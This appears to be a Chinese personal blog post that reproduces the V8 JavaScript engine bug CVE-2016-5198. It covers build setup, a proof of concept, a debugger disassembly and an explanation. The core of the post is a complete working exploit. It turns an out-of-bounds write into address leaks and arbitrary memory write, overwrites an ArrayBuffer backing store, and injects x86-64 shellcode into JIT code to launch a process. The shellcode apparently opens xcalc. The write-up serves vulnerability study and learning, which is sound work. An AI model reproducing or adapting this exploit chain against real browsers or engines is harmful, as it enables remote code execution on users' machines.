从0到1,去年5月复现过几个漏洞现在全忘了,重新写下方便以后复习。
环境配置 因为之前是在公司里配置的没有考虑过代理的问题直接可以访问,自己配置的时候需要配置下代理
我这边用的是clash,需要注意启动时候sudo权限
1 2 3 4 5 git config --global http.proxy 127.0.0.1:7890 gedit ~/.bashrcexport http_proxy ="127.0.0.1:7890" export https_proxy =$http_proxy
下面安装下depot_tools和ninja即可
1 2 3 4 5 6 7 git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=$PATH:"/home/pisanbao/v8/v8/depot_tools" ' >> ~/.bashrc git clone https://github.com/ninja-build/ninja.git cd ninja./configure.py --bootstrap cd .. echo 'export PATH=$PATH:"/home/pisanbao/v8/ninja" ' >> ~/.bashrc
接下去fetch v8然后编译
//报command not found就起bash
1 2 3 4 5 6 7 8 9 fetch v8 cd v8 git checkout 版本号gclient synctools /dev/v8 gen.py x64 .debugninja -C out.gn/x64 .debug
接着修改下gdbinit,为了方便调试
1 2 3 4 5 v8 提供了一些指令方便调试 使用%DebugPrint (x ) 使用%SystemBreak () ./d8 --allow-natives-syntax exp.js #参数--allow-natives-syntax记得加上
CVE-2016-5198 https://eternalsakura13.com/2019/04/29/CVE-2016-5198/#more
具体可以看sakura的blog,写的特棒,当初也是看这个入门的。
这个漏洞也是比较经典的利用
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function Ctor ( ) { n = new Set (); }function Check ( ) { n.xyz = 0x826852f4 ; parseInt ('AAAAAAAA' ); }for (var i=0 ; i<2000 ; ++i) { Ctor(); }for (var i=0 ; i<2000 ; ++i) { Check(); } Ctor(); Check(); print("finish" );
具体配合调试来看,优化后的check如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 pwndbg > job 0 xea1 bd606 f21 0xea1bd606f21 : [Code] kind = OPTIMIZED_FUNCTIONstack_slots = 5 compiler = crankshaftInstructions (size = 186 )0xea1bd606f80 0 55 push rbp0xea1bd606f81 1 4889 e5 REX.W movq rbp,rsp0xea1bd606f84 4 56 push rsi0xea1bd606f85 5 57 push rdi0xea1bd606f86 6 4883 ec08 REX.W subq rsp,0 x8 0xea1bd606f8a 10 488 b45 f8 REX.W movq rax,[rbp-0 x8 ]0xea1bd606f8e 14 488945 e8 REX.W movq [rbp-0x18],rax 0xea1bd606f92 18 488bf0 REX.W movq rsi,rax 0xea1bd606f95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60] 0xea1bd606f9c 28 7305 jnc 35 (0 xea1 bd606 fa3 )0xea1bd606f9e 30 e83 db9 f5 ff call StackCheck (0 xea1 bd5628 e0 ) ;; code: BUILTIN0xea1bd606fa3 35 48 b821 c09 aff94310000 REX.W movq rax,0 x3194 ff9 ac021 ;; object: 0 x3194 ff9 ac021 PropertyCell for 0 x29139 a15 c631 <a Set with map 0 x3 a202 ca86509 >0xea1bd606fad 45 488 b400 f REX.W movq rax,[rax+0 xf]0xea1bd606fb1 49 49 ba0000805 e0 a4 de041 REX.W movq r10 ,0 x41 e04 d0 a5 e800000 0xea1bd606fbb 59 c4 c1 f96 ec2 vmovq xmm0 ,r10 0xea1bd606fc0 64 488 b4007 REX.W movq rax,[rax+0 x7 ]0xea1bd606fc4 68 488 b400 f REX.W movq rax,[rax+0 xf]0xea1bd606fc8 72 c5 fb114007 vmovsd [rax+0x7],xmm0 0xea1bd606fcd 77 49ba112358a9d43b0000 REX.W movq r10,0x3bd4a9582311 ;; object: 0x3bd4a9582311 <undefined> 0xea1bd606fd7 87 4152 push r10 0xea1bd606fd9 89 49ba39b09aff94310000 REX.W movq r10,0x3194ff9ab039 ;; object: 0x3194ff9ab039 <String[8]: AAAAAAAA> 0xea1bd606fe3 99 4152 push r10 0xea1bd606fe5 101 48bf51d898ff94310000 REX.W movq rdi,0x3194ff98d851 ;; object: 0x3194ff98d851 <JS Function parseInt (SharedFunctionInfo 0x3bd4a95bce11)> 0xea1bd606fef 111 488b75e8 REX.W movq rsi,[rbp-0x18] 0xea1bd606ff3 115 488 b7727 REX.W movq rsi,[rdi+0 x27 ]0xea1bd606ff7 119 498 b55 a0 REX.W movq rdx,[r13 -0 x60 ]0xea1bd606ffb 123 b801000000 movl rax,0 x1 0xea1bd607000 128 bb02000000 movl rbx,0 x2 0xea1bd607005 133 e8 f6 ebefff call ArgumentsAdaptorTrampoline (0 xea1 bd505 c00 ) ;; code: BUILTIN0xea1bd60700a 138 48 b8112358 a9 d43 b0000 REX.W movq rax,0 x3 bd4 a9582311 ;; object: 0 x3 bd4 a9582311 <undefined>0xea1bd607014 148 488 be5 REX.W movq rsp,rbp0xea1bd607017 151 5 d pop rbp0xea1bd607018 152 c20800 ret 0 x8 0xea1bd60701b 155 90 nopSource positions: pc offset position 77 87 89 87 89 87 101 87 101 87 111 87 115 87 138 87 138 87 138 87 148 87 155 87 Inlined functions (count = 0 )Deoptimization Input Data (deopt points = 2 ) index ast id argc pc 0 4 0 35 1 21 0 138 Safepoints (size = 30 )0xea1bd606fa3 35 10000 (sp -> fp) 0 0xea1bd60700a 138 10000 (sp -> fp) 1 RelocInfo (size = 7 )0xea1bd606f9f code target (BUILTIN) (0 xea1 bd5628 e0 )0xea1bd606fa5 embedded object (0 x3194 ff9 ac021 PropertyCell for 0 x29139 a15 c631 <a Set with map 0 x3 a202 ca86509 >)0xea1bd606fcf embedded object (0 x3 bd4 a9582311 <undefined>)0xea1bd606fdb embedded object (0 x3194 ff9 ab039 <String[8 ]: AAAAAAAA>)0xea1bd606fe7 embedded object (0 x3194 ff98 d851 <JS Function parseInt (SharedFunctionInfo 0 x3 bd4 a95 bce11 )>)0xea1bd607006 code target (BUILTIN) (0 xea1 bd505 c00 )0xea1bd60700c embedded object (0 x3 bd4 a9582311 <undefined>)
断点断下,此时rax是n的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 DebugPrint: 0 x29139a15c631: [JSSet] - map = 0 x3a202ca86509 [FastProperties] - prototype = 0 x3194ff995e49 - elements = 0 x3bd4a9582241 <FixedArray[0 ]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0 x29139a15c651 <FixedArray[13 ]> - properties = 0 x3a202ca86509: [Map] - type : JS_SET_TYPE - instance size: 32 - inobject properties: 0 - elements kind: FAST_HOLEY_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0 x3bd4a9582311 <undefined> - instance descriptors (own) #0 : 0 x3bd4a9582231 <FixedArray[0 ]> - layout descriptor: 0 - transitions #1 : 0 x3194ff9ac891 WeakCell for 0 x3a202ca8c391 <Map(FAST_HOLEY_SMI_ELEMENTS)> #xyz: (transition to data), attrs: [WEC] -> 0 x3a202ca8c391 <Map(FAST_HOLEY_SMI_ELEMENTS)> - prototype: 0 x3194ff995e49 <an Object with map 0 x3a202ca86561> - constructor : 0 x3194ff995be9 <JS Function Set (SharedFunctionInfo 0x3bd4a959cb31) > - code cache : 0 x3bd4a9582241 <FixedArray[0 ]> - dependent code: 0 x3194ff9ac559 <FixedArray[3 ]> - construction counter: 0
接着会
mov rax, qword ptr [rax + 7]
即取出rax的elements对象地址
然后会进一步取出n.xyz并进行赋值,也就是这出了问题
这一步会破坏string map结构导致下面parseInt(‘AAAAAAAA’);报错
n.xyz = 0x826852f4;
0x826852f4被当作double处理所以是0x41E04D0A5E800000
所以现在存在一个越界写,为了不破坏string map我们需要伪造下使得
n.xyz = 3.4766863919133141e-308;//0x019000400007300
exp 完整exp直接照搬sakura博客了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 var ab = new ArrayBuffer (0x200 );var n;var m;var l;var evil_f = new Function ("var a = 1000000" );function d2u (num1,num2 ) { d = new Uint32Array (2 ); d[0 ] = num2; d[1 ] = num1; f = new Float64Array (d.buffer); return f[0 ]; }function u2d (num ) { f = new Float64Array (1 ); f[0 ] = num; d = new Uint32Array (f.buffer); return d[1 ] * 0x100000000 + d[0 ]; }function Ctor ( ) { n = new Set (); }function Ctor2 ( ) { m = new Map (); }function Ctor3 ( ) { l = new ArrayBuffer (); }function Check (obj ) { n.xyz = 3.4766863919152113e-308 ; n.xyz1 = 0x0 ; n.xyz2 = 0x7000 ; n.xyz3 = obj; }function Check2 (addr ) { m.xyz = 3.4766863919152113e-308 ; m.xyz1 = 0x0 m.xyz2 = 0x7000 m.xyz3 = addr } function Check3 (addr ) { l.xyz = 3.4766863919152113e-308 ; l.xyz1 = addr }for (var i=0 ; i<10000 ; ++i) { Ctor(); Ctor2(); Ctor3(); }for (var i=0 ; i<10000 ; ++i) { Check(null ); Check2(3.4766863919152113e-308 ); Check3(3.4766863919152113e-308 ); } Ctor(); Ctor2(); Ctor3(); print("jsset is :" ); %DebugPrint(n); Check(ab);var str = new String (null ); %DebugPrint(ab);var ab_addr = str.charCodeAt(0 )*0x1 +str.charCodeAt(1 )*0x100 +str.charCodeAt(2 )*0x10000 +str.charCodeAt(3 )*0x1000000 +str.charCodeAt(4 )*0x100000000 +str.charCodeAt(5 )*0x10000000000 +str.charCodeAt(6 )*0x1000000000000 +str.charCodeAt(7 )*0x100000000000000 ; print("0x" +ab_addr.toString(16 ));var ab_len_ptr = ab_addr+24 ; ab_len_ptr_float = d2u(ab_len_ptr/0x100000000 ,ab_len_ptr&0xffffffff ); Check(evil_f); %DebugPrint(evil_f);var func_addr = str.charCodeAt(0 )*0x1 +str.charCodeAt(1 )*0x100 +str.charCodeAt(2 )*0x10000 +str.charCodeAt(3 )*0x1000000 +str.charCodeAt(4 )*0x100000000 +str.charCodeAt(5 )*0x10000000000 +str.charCodeAt(6 )*0x1000000000000 +str.charCodeAt(7 )*0x100000000000000 ; print("0x" +func_addr.toString(16 )); func_addr = func_addr - 1 ; func_addr_float = d2u(func_addr/0x100000000 ,func_addr&0xffffffff ); Check(String (null )); Check2(ab_len_ptr_float); Check3(func_addr_float); f64 = new Float64Array (ab); shellcode_addr_float = f64[7 ]; print("0x" +(u2d(shellcode_addr_float)).toString(16 )); Check3(shellcode_addr_float);var shellcode = new Uint32Array (ab); shellcode[0 ] = 0x90909090 ; shellcode[1 ] = 0x90909090 ; shellcode[2 ] = 0x782fb848 ; shellcode[3 ] = 0x636c6163 ; shellcode[4 ] = 0x48500000 ; shellcode[5 ] = 0x73752fb8 ; shellcode[6 ] = 0x69622f72 ; shellcode[7 ] = 0x8948506e ; shellcode[8 ] = 0xc03148e7 ; shellcode[9 ] = 0x89485750 ; shellcode[10 ] = 0xd23148e6 ; shellcode[11 ] = 0x3ac0c748 ; shellcode[12 ] = 0x50000030 ; shellcode[13 ] = 0x4944b848 ; shellcode[14 ] = 0x414c5053 ; shellcode[15 ] = 0x48503d59 ; shellcode[16 ] = 0x3148e289 ; shellcode[17 ] = 0x485250c0 ; shellcode[18 ] = 0xc748e289 ; shellcode[19 ] = 0x00003bc0 ; shellcode[20 ] = 0x050f00 ; evil_f();
下面讲解原理
先触发优化然后Check(ab);
poc已经知道这里会越界写下面的string null结构
1 2 3 4 5 6 7 function Check(obj){// oob write empty_Fixed_Array, write object to null_str buffer n.xyz = 3.4766863919152113 e-308 ; // do not modify string map n.xyz1 = 0 x0; // do not modify the value n.xyz2 = 0 x7000; // enlarge length of builtIn string 'null' n.xyz3 = obj; // leak the Object addr }
n.xyz是string map
xyz1是hash
xyz2是length,这边扩大到0x7000,string null是4
xyz3是需要leak的值,写入任意ab地址后通过读取string值即可达成leak
成功写入然后
1 var ab_addr = str.charCodeAt(0 )*0x1 +str.charCodeAt(1 )*0x100 +str.charCodeAt(2 )*0x10000 +str.charCodeAt(3 )*0x1000000 +str.charCodeAt(4 )*0x100000000 +str.charCodeAt(5 )*0x10000000000 +str.charCodeAt(6 )*0x1000000000000 +str.charCodeAt(7 )*0x100000000000000 ;
同理leak出evil_f function地址
然后把string null写入该地址
下面看下check2
1 2 3 4 5 6 7 function Check2 (addr ) { m.xyz = 3.4766863919152113e-308 ; m.xyz1 = 0x0 m.xyz2 = 0x7000 m.xyz3 = addr }
check2和check不同。xyz3会被当作指针解析
string null地址写入后,调用check2会把addr写入string null+0x8处
这边把ab_len_ptr_float写入,因为ab_len_ptr_float后面紧跟着backingstore
下面调用check3,check3会把xyz1域当作指针解析即地址会被写入ab_len_ptr_float+0x8处即直接写backingstore
1 2 3 4 5 function Check3 (addr ) { l.xyz = 3.4766863919152113e-308 ; l.xyz1 = addr }
调用Check3(func_addr_float);把func地址写入后
1 2 3 f64 = new Float64Array (ab); shellcode_addr_float = f64[7 ]; print("0x" +(u2d(shellcode_addr_float)).toString(16 ));
获取code地址,第七个成员就是code地址。
最后把code地址写入backingstore然后分配array赋值shellcode即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Check3(shellcode_addr_float);var shellcode = new Uint32Array (ab); shellcode[0 ] = 0x90909090 ; shellcode[1 ] = 0x90909090 ; shellcode[2 ] = 0x782fb848 ; shellcode[3 ] = 0x636c6163 ; shellcode[4 ] = 0x48500000 ; shellcode[5 ] = 0x73752fb8 ; shellcode[6 ] = 0x69622f72 ; shellcode[7 ] = 0x8948506e ; shellcode[8 ] = 0xc03148e7 ; shellcode[9 ] = 0x89485750 ; shellcode[10 ] = 0xd23148e6 ; shellcode[11 ] = 0x3ac0c748 ; shellcode[12 ] = 0x50000030 ; shellcode[13 ] = 0x4944b848 ; shellcode[14 ] = 0x414c5053 ; shellcode[15 ] = 0x48503d59 ; shellcode[16 ] = 0x3148e289 ; shellcode[17 ] = 0x485250c0 ; shellcode[18 ] = 0xc748e289 ; shellcode[19 ] = 0x00003bc0 ; shellcode[20 ] = 0x050f00 ; evil_f();
很适合入门的漏洞哈,后续会搬上另一个CVE-2019-5782。